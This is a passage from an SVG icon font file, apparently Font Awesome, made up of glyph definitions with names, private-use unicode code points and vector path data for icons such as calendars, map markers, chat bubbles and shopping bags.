q0 198 -141 339q-140 140 -339 140q-200 0 -340 -140q-53 -53 -77 -87l-2 -2q-8 -11 -13 -15.5t-21.5 -9.5t-38.5 3q-21 5 -36.5 16.5t-15.5 26.5v680q0 15 10.5 26.5t27.5 11.5h877q30 0 30 -55t-30 -55h-811v-483h1q40 42 102 84t108 61q109 46 231 46q121 0 228 -46
t187 -126q81 -81 126 -186q46 -112 46 -229zM1369 1128q9 -8 9 -18t-5.5 -18t-16.5 -21q-26 -26 -39 -26q-9 0 -16 7q-106 91 -207 133q-128 56 -276 56q-133 0 -262 -49q-27 -10 -45 37q-9 25 -8 38q3 16 16 20q130 57 299 57q164 0 316 -64q137 -58 235 -152z" />
    <glyph glyph-name="_585" unicode="&#xf270;" horiz-adv-x="1792" 
d="M1551 60q15 6 26 3t11 -17.5t-15 -33.5q-13 -16 -44 -43.5t-95.5 -68t-141 -74t-188 -58t-229.5 -24.5q-119 0 -238 31t-209 76.5t-172.5 104t-132.5 105t-84 87.5q-8 9 -10 16.5t1 12t8 7t11.5 2t11.5 -4.5q192 -117 300 -166q389 -176 799 -90q190 40 391 135z
M1758 175q11 -16 2.5 -69.5t-28.5 -102.5q-34 -83 -85 -124q-17 -14 -26 -9t0 24q21 45 44.5 121.5t6.5 98.5q-5 7 -15.5 11.5t-27 6t-29.5 2.5t-35 0t-31.5 -2t-31 -3t-22.5 -2q-6 -1 -13 -1.5t-11 -1t-8.5 -1t-7 -0.5h-5.5h-4.5t-3 0.5t-2 1.5l-1.5 3q-6 16 47 40t103 30
q46 7 108 1t76 -24zM1364 618q0 -31 13.5 -64t32 -58t37.5 -46t33 -32l13 -11l-227 -224q-40 37 -79 75.5t-58 58.5l-19 20q-11 11 -25 33q-38 -59 -97.5 -102.5t-127.5 -63.5t-140 -23t-137.5 21t-117.5 65.5t-83 113t-31 162.5q0 84 28 154t72 116.5t106.5 83t122.5 57
t130 34.5t119.5 18.5t99.5 6.5v127q0 65 -21 97q-34 53 -121 53q-6 0 -16.5 -1t-40.5 -12t-56 -29.5t-56 -59.5t-48 -96l-294 27q0 60 22 119t67 113t108 95t151.5 65.5t190.5 24.5q100 0 181 -25t129.5 -61.5t81 -83t45 -86t12.5 -73.5v-589zM692 597q0 -86 70 -133
q66 -44 139 -22q84 25 114 123q14 45 14 101v162q-59 -2 -111 -12t-106.5 -33.5t-87 -71t-32.5 -114.5z" />
    <glyph glyph-name="_586" unicode="&#xf271;" horiz-adv-x="1792" 
d="M1536 1280q52 0 90 -38t38 -90v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128zM1152 1376v-288q0 -14 9 -23t23 -9
h64q14 0 23 9t9 23v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM384 1376v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM1536 -128v1024h-1408v-1024h1408zM896 448h224q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-224
v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-224q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v224q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-224z" />
    <glyph glyph-name="_587" unicode="&#xf272;" horiz-adv-x="1792" 
d="M1152 416v-64q0 -14 -9 -23t-23 -9h-576q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h576q14 0 23 -9t9 -23zM128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23
t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47
t47 -113v-96h128q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_588" unicode="&#xf273;" horiz-adv-x="1792" 
d="M1111 151l-46 -46q-9 -9 -22 -9t-23 9l-188 189l-188 -189q-10 -9 -23 -9t-22 9l-46 46q-9 9 -9 22t9 23l189 188l-189 188q-9 10 -9 23t9 22l46 46q9 9 22 9t23 -9l188 -188l188 188q10 9 23 9t22 -9l46 -46q9 -9 9 -22t-9 -23l-188 -188l188 -188q9 -10 9 -23t-9 -22z
M128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280
q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_589" unicode="&#xf274;" horiz-adv-x="1792" 
d="M1303 572l-512 -512q-10 -9 -23 -9t-23 9l-288 288q-9 10 -9 23t9 22l46 46q9 9 22 9t23 -9l220 -220l444 444q10 9 23 9t22 -9l46 -46q9 -9 9 -22t-9 -23zM128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23
t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47
t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_590" unicode="&#xf275;" horiz-adv-x="1792" 
d="M448 1536q26 0 45 -19t19 -45v-891l536 429q17 14 40 14q26 0 45 -19t19 -45v-379l536 429q17 14 40 14q26 0 45 -19t19 -45v-1152q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v1664q0 26 19 45t45 19h384z" />
    <glyph glyph-name="_591" unicode="&#xf276;" horiz-adv-x="1024" 
d="M512 448q66 0 128 15v-655q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v655q62 -15 128 -15zM512 1536q212 0 362 -150t150 -362t-150 -362t-362 -150t-362 150t-150 362t150 362t362 150zM512 1312q14 0 23 9t9 23t-9 23t-23 9q-146 0 -249 -103t-103 -249
q0 -14 9 -23t23 -9t23 9t9 23q0 119 84.5 203.5t203.5 84.5z" />
    <glyph glyph-name="_592" unicode="&#xf277;" horiz-adv-x="1792" 
d="M1745 1239q10 -10 10 -23t-10 -23l-141 -141q-28 -28 -68 -28h-1344q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h576v64q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-64h512q40 0 68 -28zM768 320h256v-512q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v512zM1600 768
q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19h-1344q-40 0 -68 28l-141 141q-10 10 -10 23t10 23l141 141q28 28 68 28h512v192h256v-192h576z" />
    <glyph glyph-name="_593" unicode="&#xf278;" horiz-adv-x="2048" 
d="M2020 1525q28 -20 28 -53v-1408q0 -20 -11 -36t-29 -23l-640 -256q-24 -11 -48 0l-616 246l-616 -246q-10 -5 -24 -5q-19 0 -36 11q-28 20 -28 53v1408q0 20 11 36t29 23l640 256q24 11 48 0l616 -246l616 246q32 13 60 -6zM736 1390v-1270l576 -230v1270zM128 1173
v-1270l544 217v1270zM1920 107v1270l-544 -217v-1270z" />
    <glyph glyph-name="_594" unicode="&#xf279;" horiz-adv-x="1792" 
d="M512 1536q13 0 22.5 -9.5t9.5 -22.5v-1472q0 -20 -17 -28l-480 -256q-7 -4 -15 -4q-13 0 -22.5 9.5t-9.5 22.5v1472q0 20 17 28l480 256q7 4 15 4zM1760 1536q13 0 22.5 -9.5t9.5 -22.5v-1472q0 -20 -17 -28l-480 -256q-7 -4 -15 -4q-13 0 -22.5 9.5t-9.5 22.5v1472
q0 20 17 28l480 256q7 4 15 4zM640 1536q8 0 14 -3l512 -256q18 -10 18 -29v-1472q0 -13 -9.5 -22.5t-22.5 -9.5q-8 0 -14 3l-512 256q-18 10 -18 29v1472q0 13 9.5 22.5t22.5 9.5z" />
    <glyph glyph-name="_595" unicode="&#xf27a;" horiz-adv-x="1792" 
d="M640 640q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1024 640q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1408 640q0 53 -37.5 90.5t-90.5 37.5
t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1792 640q0 -174 -120 -321.5t-326 -233t-450 -85.5q-110 0 -211 18q-173 -173 -435 -229q-52 -10 -86 -13q-12 -1 -22 6t-13 18q-4 15 20 37q5 5 23.5 21.5t25.5 23.5t23.5 25.5t24 31.5t20.5 37
t20 48t14.5 57.5t12.5 72.5q-146 90 -229.5 216.5t-83.5 269.5q0 174 120 321.5t326 233t450 85.5t450 -85.5t326 -233t120 -321.5z" />
    <glyph glyph-name="_596" unicode="&#xf27b;" horiz-adv-x="1792" 
d="M640 640q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1024 640q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 -53 -37.5 -90.5t-90.5 -37.5
t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM896 1152q-204 0 -381.5 -69.5t-282 -187.5t-104.5 -255q0 -112 71.5 -213.5t201.5 -175.5l87 -50l-27 -96q-24 -91 -70 -172q152 63 275 171l43 38l57 -6q69 -8 130 -8q204 0 381.5 69.5t282 187.5
t104.5 255t-104.5 255t-282 187.5t-381.5 69.5zM1792 640q0 -174 -120 -321.5t-326 -233t-450 -85.5q-70 0 -145 8q-198 -175 -460 -242q-49 -14 -114 -22h-5q-15 0 -27 10.5t-16 27.5v1q-3 4 -0.5 12t2 10t4.5 9.5l6 9t7 8.5t8 9q7 8 31 34.5t34.5 38t31 39.5t32.5 51
t27 59t26 76q-157 89 -247.5 220t-90.5 281q0 130 71 248.5t191 204.5t286 136.5t348 50.5t348 -50.5t286 -136.5t191 -204.5t71 -248.5z" />
    <glyph glyph-name="_597" unicode="&#xf27c;" horiz-adv-x="1024" 
d="M512 345l512 295v-591l-512 -296v592zM0 640v-591l512 296zM512 1527v-591l-512 -296v591zM512 936l512 295v-591z" />
    <glyph glyph-name="_598" unicode="&#xf27d;" horiz-adv-x="1792" 
d="M1709 1018q-10 -236 -332 -651q-333 -431 -562 -431q-142 0 -240 263q-44 160 -132 482q-72 262 -157 262q-18 0 -127 -76l-77 98q24 21 108 96.5t130 115.5q156 138 241 146q95 9 153 -55.5t81 -203.5q44 -287 66 -373q55 -249 120 -249q51 0 154 161q101 161 109 246
q13 139 -109 139q-57 0 -121 -26q120 393 459 382q251 -8 236 -326z" />
    <glyph glyph-name="f27e" unicode="&#xf27e;" 
d="M0 1408h1536v-1536h-1536v1536zM1085 293l-221 631l221 297h-634l221 -297l-221 -631l317 -304z" />
    <glyph glyph-name="uniF280" unicode="&#xf280;" 
d="M0 1408h1536v-1536h-1536v1536zM908 1088l-12 -33l75 -83l-31 -114l25 -25l107 57l107 -57l25 25l-31 114l75 83l-12 33h-95l-53 96h-32l-53 -96h-95zM641 925q32 0 44.5 -16t11.5 -63l174 21q0 55 -17.5 92.5t-50.5 56t-69 25.5t-85 7q-133 0 -199 -57.5t-66 -182.5v-72
h-96v-128h76q20 0 20 -8v-382q0 -14 -5 -20t-18 -7l-73 -7v-88h448v86l-149 14q-6 1 -8.5 1.5t-3.5 2.5t-0.5 4t1 7t0.5 10v387h191l38 128h-231q-6 0 -2 6t4 9v80q0 27 1.5 40.5t7.5 28t19.5 20t36.5 5.5zM1248 96v86l-54 9q-7 1 -9.5 2.5t-2.5 3t1 7.5t1 12v520h-275
l-23 -101l83 -22q23 -7 23 -27v-370q0 -14 -6 -18.5t-20 -6.5l-70 -9v-86h352z" />
    <glyph glyph-name="uniF281" unicode="&#xf281;" horiz-adv-x="1792" 
d="M1792 690q0 -58 -29.5 -105.5t-79.5 -72.5q12 -46 12 -96q0 -155 -106.5 -287t-290.5 -208.5t-400 -76.5t-399.5 76.5t-290 208.5t-106.5 287q0 47 11 94q-51 25 -82 73.5t-31 106.5q0 82 58 140.5t141 58.5q85 0 145 -63q218 152 515 162l116 521q3 13 15 21t26 5
l369 -81q18 37 54 59.5t79 22.5q62 0 106 -43.5t44 -105.5t-44 -106t-106 -44t-105.5 43.5t-43.5 105.5l-334 74l-104 -472q300 -9 519 -160q58 61 143 61q83 0 141 -58.5t58 -140.5zM418 491q0 -62 43.5 -106t105.5 -44t106 44t44 106t-44 105.5t-106 43.5q-61 0 -105 -44
t-44 -105zM1228 136q11 11 11 26t-11 26q-10 10 -25 10t-26 -10q-41 -42 -121 -62t-160 -20t-160 20t-121 62q-11 10 -26 10t-25 -10q-11 -10 -11 -25.5t11 -26.5q43 -43 118.5 -68t122.5 -29.5t91 -4.5t91 4.5t122.5 29.5t118.5 68zM1225 341q62 0 105.5 44t43.5 106
q0 61 -44 105t-105 44q-62 0 -106 -43.5t-44 -105.5t44 -106t106 -44z" />
    <glyph glyph-name="_602" unicode="&#xf282;" horiz-adv-x="1792" 
d="M69 741h1q16 126 58.5 241.5t115 217t167.5 176t223.5 117.5t276.5 43q231 0 414 -105.5t294 -303.5q104 -187 104 -442v-188h-1125q1 -111 53.5 -192.5t136.5 -122.5t189.5 -57t213 -3t208 46.5t173.5 84.5v-377q-92 -55 -229.5 -92t-312.5 -38t-316 53
q-189 73 -311.5 249t-124.5 372q-3 242 111 412t325 268q-48 -60 -78 -125.5t-46 -159.5h635q8 77 -8 140t-47 101.5t-70.5 66.5t-80.5 41t-75 20.5t-56 8.5l-22 1q-135 -5 -259.5 -44.5t-223.5 -104.5t-176 -140.5t-138 -163.5z" />
    <glyph glyph-name="_603" unicode="&#xf283;" horiz-adv-x="2304" 
d="M0 32v608h2304v-608q0 -66 -47 -113t-113 -47h-1984q-66 0 -113 47t-47 113zM640 256v-128h384v128h-384zM256 256v-128h256v128h-256zM2144 1408q66 0 113 -47t47 -113v-224h-2304v224q0 66 47 113t113 47h1984z" />
    <glyph glyph-name="_604" unicode="&#xf284;" horiz-adv-x="1792" 
d="M1584 246l-218 111q-74 -120 -196.5 -189t-263.5 -69q-147 0 -271 72t-196 196t-72 270q0 110 42.5 209.5t115 172t172 115t209.5 42.5q131 0 247.5 -60.5t192.5 -168.5l215 125q-110 169 -286.5 265t-378.5 96q-161 0 -308 -63t-253 -169t-169 -253t-63 -308t63 -308
t169 -253t253 -169t308 -63q213 0 397.5 107t290.5 292zM1030 643l693 -352q-116 -253 -334.5 -400t-492.5 -147q-182 0 -348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71q260 0 470.5 -133.5t335.5 -366.5zM1543 640h-39v-160h-96v352h136q32 0 54.5 -20
t28.5 -48t1 -56t-27.5 -48t-57.5 -20z" />
    <glyph glyph-name="uniF285" unicode="&#xf285;" horiz-adv-x="1792" 
d="M1427 827l-614 386l92 151h855zM405 562l-184 116v858l1183 -743zM1424 697l147 -95v-858l-532 335zM1387 718l-500 -802h-855l356 571z" />
    <glyph glyph-name="uniF286" unicode="&#xf286;" horiz-adv-x="1792" 
d="M640 528v224q0 16 -16 16h-96q-16 0 -16 -16v-224q0 -16 16 -16h96q16 0 16 16zM1152 528v224q0 16 -16 16h-96q-16 0 -16 -16v-224q0 -16 16 -16h96q16 0 16 16zM1664 496v-752h-640v320q0 80 -56 136t-136 56t-136 -56t-56 -136v-320h-640v752q0 16 16 16h96
q16 0 16 -16v-112h128v624q0 16 16 16h96q16 0 16 -16v-112h128v112q0 16 16 16h96q16 0 16 -16v-112h128v112q0 6 2.5 9.5t8.5 5t9.5 2t11.5 0t9 -0.5v391q-32 15 -32 50q0 23 16.5 39t38.5 16t38.5 -16t16.5 -39q0 -35 -32 -50v-17q45 10 83 10q21 0 59.5 -7.5t54.5 -7.5
q17 0 47 7.5t37 7.5q16 0 16 -16v-210q0 -15 -35 -21.5t-62 -6.5q-18 0 -54.5 7.5t-55.5 7.5q-40 0 -90 -12v-133q1 0 9 0.5t11.5 0t9.5 -2t8.5 -5t2.5 -9.5v-112h128v112q0 16 16 16h96q16 0 16 -16v-112h128v112q0 16 16 16h96q16 0 16 -16v-624h128v112q0 16 16 16h96
q16 0 16 -16z" />
    <glyph glyph-name="_607" unicode="&#xf287;" horiz-adv-x="2304" 
d="M2288 731q16 -8 16 -27t-16 -27l-320 -192q-8 -5 -16 -5q-9 0 -16 4q-16 10 -16 28v128h-858q37 -58 83 -165q16 -37 24.5 -55t24 -49t27 -47t27 -34t31.5 -26t33 -8h96v96q0 14 9 23t23 9h320q14 0 23 -9t9 -23v-320q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23v96h-96
q-32 0 -61 10t-51 23.5t-45 40.5t-37 46t-33.5 57t-28.5 57.5t-28 60.5q-23 53 -37 81.5t-36 65t-44.5 53.5t-46.5 17h-360q-22 -84 -91 -138t-157 -54q-106 0 -181 75t-75 181t75 181t181 75q88 0 157 -54t91 -138h104q24 0 46.5 17t44.5 53.5t36 65t37 81.5q19 41 28 60.5
t28.5 57.5t33.5 57t37 46t45 40.5t51 23.5t61 10h107q21 57 70 92.5t111 35.5q80 0 136 -56t56 -136t-56 -136t-136 -56q-62 0 -111 35.5t-70 92.5h-107q-17 0 -33 -8t-31.5 -26t-27 -34t-27 -47t-24 -49t-24.5 -55q-46 -107 -83 -165h1114v128q0 18 16 28t32 -1z" />
    <glyph glyph-name="_608" unicode="&#xf288;" horiz-adv-x="1792" 
d="M1150 774q0 -56 -39.5 -95t-95.5 -39h-253v269h253q56 0 95.5 -39.5t39.5 -95.5zM1329 774q0 130 -91.5 222t-222.5 92h-433v-896h180v269h253q130 0 222 91.5t92 221.5zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348
t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="_609" unicode="&#xf289;" horiz-adv-x="2304" 
d="M1645 438q0 59 -34 106.5t-87 68.5q-7 -45 -23 -92q-7 -24 -27.5 -38t-44.5 -14q-12 0 -24 3q-31 10 -45 38.5t-4 58.5q23 71 23 143q0 123 -61 227.5t-166 165.5t-228 61q-134 0 -247 -73t-167 -194q108 -28 188 -106q22 -23 22 -55t-22 -54t-54 -22t-55 22
q-75 75 -180 75q-106 0 -181 -74.5t-75 -180.5t75 -180.5t181 -74.5h1046q79 0 134.5 55.5t55.5 133.5zM1798 438q0 -142 -100.5 -242t-242.5 -100h-1046q-169 0 -289 119.5t-120 288.5q0 153 100 267t249 136q62 184 221 298t354 114q235 0 408.5 -158.5t196.5 -389.5
q116 -25 192.5 -118.5t76.5 -214.5zM2048 438q0 -175 -97 -319q-23 -33 -64 -33q-24 0 -43 13q-26 17 -32 48.5t12 57.5q71 104 71 233t-71 233q-18 26 -12 57t32 49t57.5 11.5t49.5 -32.5q97 -142 97 -318zM2304 438q0 -244 -134 -443q-23 -34 -64 -34q-23 0 -42 13
q-26 18 -32.5 49t11.5 57q108 164 108 358q0 195 -108 357q-18 26 -11.5 57.5t32.5 48.5q26 18 57 12t49 -33q134 -198 134 -442z" />
    <glyph glyph-name="_610" unicode="&#xf28a;" 
d="M1500 -13q0 -89 -63 -152.5t-153 -63.5t-153.5 63.5t-63.5 152.5q0 90 63.5 153.5t153.5 63.5t153 -63.5t63 -153.5zM1267 268q-115 -15 -192.5 -102.5t-77.5 -205.5q0 -74 33 -138q-146 -78 -379 -78q-109 0 -201 21t-153.5 54.5t-110.5 76.5t-76 85t-44.5 83
t-23.5 66.5t-6 39.5q0 19 4.5 42.5t18.5 56t36.5 58t64 43.5t94.5 18t94 -17.5t63 -41t35.5 -53t17.5 -49t4 -33.5q0 -34 -23 -81q28 -27 82 -42t93 -17l40 -1q115 0 190 51t75 133q0 26 -9 48.5t-31.5 44.5t-49.5 41t-74 44t-93.5 47.5t-119.5 56.5q-28 13 -43 20
q-116 55 -187 100t-122.5 102t-72 125.5t-20.5 162.5q0 78 20.5 150t66 137.5t112.5 114t166.5 77t221.5 28.5q120 0 220 -26t164.5 -67t109.5 -94t64 -105.5t19 -103.5q0 -46 -15 -82.5t-36.5 -58t-48.5 -36t-49 -19.5t-39 -5h-8h-32t-39 5t-44 14t-41 28t-37 46t-24 70.5
t-10 97.5q-15 16 -59 25.5t-81 10.5l-37 1q-68 0 -117.5 -31t-70.5 -70t-21 -76q0 -24 5 -43t24 -46t53 -51t97 -53.5t150 -58.5q76 -25 138.5 -53.5t109 -55.5t83 -59t60.5 -59.5t41 -62.5t26.5 -62t14.5 -63.5t6 -62t1 -62.5z" />
    <glyph glyph-name="_611" unicode="&#xf28b;" 
d="M704 352v576q0 14 -9 23t-23 9h-256q-14 0 -23 -9t-9 -23v-576q0 -14 9 -23t23 -9h256q14 0 23 9t9 23zM1152 352v576q0 14 -9 23t-23 9h-256q-14 0 -23 -9t-9 -23v-576q0 -14 9 -23t23 -9h256q14 0 23 9t9 23zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103
t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_612" unicode="&#xf28c;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM768 96q148 0 273 73t198 198t73 273t-73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273
t73 -273t198 -198t273 -73zM864 320q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-192zM480 320q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-192z" />
    <glyph glyph-name="_613" unicode="&#xf28d;" 
d="M1088 352v576q0 14 -9 23t-23 9h-576q-14 0 -23 -9t-9 -23v-576q0 -14 9 -23t23 -9h576q14 0 23 9t9 23zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5
t103 -385.5z" />
    <glyph glyph-name="_614" unicode="&#xf28e;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM768 96q148 0 273 73t198 198t73 273t-73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273
t73 -273t198 -198t273 -73zM480 320q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h576q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-576z" />
    <glyph glyph-name="_615" unicode="&#xf290;" horiz-adv-x="1792" 
d="M1757 128l35 -313q3 -28 -16 -50q-19 -21 -48 -21h-1664q-29 0 -48 21q-19 22 -16 50l35 313h1722zM1664 967l86 -775h-1708l86 775q3 24 21 40.5t43 16.5h256v-128q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5v128h384v-128q0 -53 37.5 -90.5t90.5 -37.5
t90.5 37.5t37.5 90.5v128h256q25 0 43 -16.5t21 -40.5zM1280 1152v-256q0 -26 -19 -45t-45 -19t-45 19t-19 45v256q0 106 -75 181t-181 75t-181 -75t-75 -181v-256q0 -26 -19 -45t-45 -19t-45 19t-19 45v256q0 159 112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5z" />
    <glyph glyph-name="_616" unicode="&#xf291;" horiz-adv-x="2048" 
d="M1920 768q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5h-15l-115 -662q-8 -46 -44 -76t-82 -30h-1280q-46 0 -82 30t-44 76l-115 662h-15q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5h1792zM485 -32q26 2 43.5 22.5t15.5 46.5l-32 416q-2 26 -22.5 43.5
t-46.5 15.5t-43.5 -22.5t-15.5 -46.5l32 -416q2 -25 20.5 -42t43.5 -17h5zM896 32v416q0 26 -19 45t-45 19t-45 -19t-19 -45v-416q0 -26 19 -45t45 -19t45 19t19 45zM1280 32v416q0 26 -19 45t-45 19t-45 -19t-19 -45v-416q0 -26 19 -45t45 -19t45 19t19 45zM1632 27l32 416
q2 26 -15.5 46.5t-43.5 22.5t-46.5 -15.5t-22.5 -43.5l-32 -416q-2 -26 15.5 -46.5t43.5 -22.5h5q25 0 43.5 17t20.5 42zM476 1244l-93 -412h-132l101 441q19 88 89 143.5t160 55.5h167q0 26 19 45t45 19h384q26 0 45 -19t19 -45h167q90 0 160 -55.5t89 -143.5l101 -441
h-132l-93 412q-11 44 -45.5 72t-79.5 28h-167q0 -26 -19 -45t-45 -19h-384q-26 0 -45 19t-19 45h-167q-45 0 -79.5 -28t-45.5 -72z" />
    <glyph glyph-name="_617" unicode="&#xf292;" horiz-adv-x="1792" 
d="M991 512l64 256h-254l-64 -256h254zM1759 1016l-56 -224q-7 -24 -31 -24h-327l-64 -256h311q15 0 25 -12q10 -14 6 -28l-56 -224q-5 -24 -31 -24h-327l-81 -328q-7 -24 -31 -24h-224q-16 0 -26 12q-9 12 -6 28l78 312h-254l-81 -328q-7 -24 -31 -24h-225q-15 0 -25 12
q-9 12 -6 28l78 312h-311q-15 0 -25 12q-9 12 -6 28l56 224q7 24 31 24h327l64 256h-311q-15 0 -25 12q-10 14 -6 28l56 224q5 24 31 24h327l81 328q7 24 32 24h224q15 0 25 -12q9 -12 6 -28l-78 -312h254l81 328q7 24 32 24h224q15 0 25 -12q9 -12 6 -28l-78 -312h311
q15 0 25 -12q9 -12 6 -28z" />
    <glyph glyph-name="_618" unicode="&#xf293;" 
d="M841 483l148 -148l-149 -149zM840 1094l149 -149l-148 -148zM710 -130l464 464l-306 306l306 306l-464 464v-611l-255 255l-93 -93l320 -321l-320 -321l93 -93l255 255v-611zM1429 640q0 -209 -32 -365.5t-87.5 -257t-140.5 -162.5t-181.5 -86.5t-219.5 -24.5
t-219.5 24.5t-181.5 86.5t-140.5 162.5t-87.5 257t-32 365.5t32 365.5t87.5 257t140.5 162.5t181.5 86.5t219.5 24.5t219.5 -24.5t181.5 -86.5t140.5 -162.5t87.5 -257t32 -365.5z" />
    <glyph glyph-name="_619" unicode="&#xf294;" horiz-adv-x="1024" 
d="M596 113l173 172l-173 172v-344zM596 823l173 172l-173 172v-344zM628 640l356 -356l-539 -540v711l-297 -296l-108 108l372 373l-372 373l108 108l297 -296v711l539 -540z" />
    <glyph glyph-name="_620" unicode="&#xf295;" 
d="M1280 256q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM512 1024q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM1536 256q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5
t112.5 -271.5zM1440 1344q0 -20 -13 -38l-1056 -1408q-19 -26 -51 -26h-160q-26 0 -45 19t-19 45q0 20 13 38l1056 1408q19 26 51 26h160q26 0 45 -19t19 -45zM768 1024q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5
t271.5 -112.5t112.5 -271.5z" />
    <glyph glyph-name="_621" unicode="&#xf296;" horiz-adv-x="1792" 
d="M104 830l792 -1015l-868 630q-18 13 -25 34.5t0 42.5l101 308v0zM566 830h660l-330 -1015v0zM368 1442l198 -612h-462l198 612q8 23 33 23t33 -23zM1688 830l101 -308q7 -21 0 -42.5t-25 -34.5l-868 -630l792 1015v0zM1688 830h-462l198 612q8 23 33 23t33 -23z" />
    <glyph glyph-name="_622" unicode="&#xf297;" horiz-adv-x="1792" 
d="M384 704h160v224h-160v-224zM1221 372v92q-104 -36 -243 -38q-135 -1 -259.5 46.5t-220.5 122.5l1 -96q88 -80 212 -128.5t272 -47.5q129 0 238 49zM640 704h640v224h-640v-224zM1792 736q0 -187 -99 -352q89 -102 89 -229q0 -157 -129.5 -268t-313.5 -111
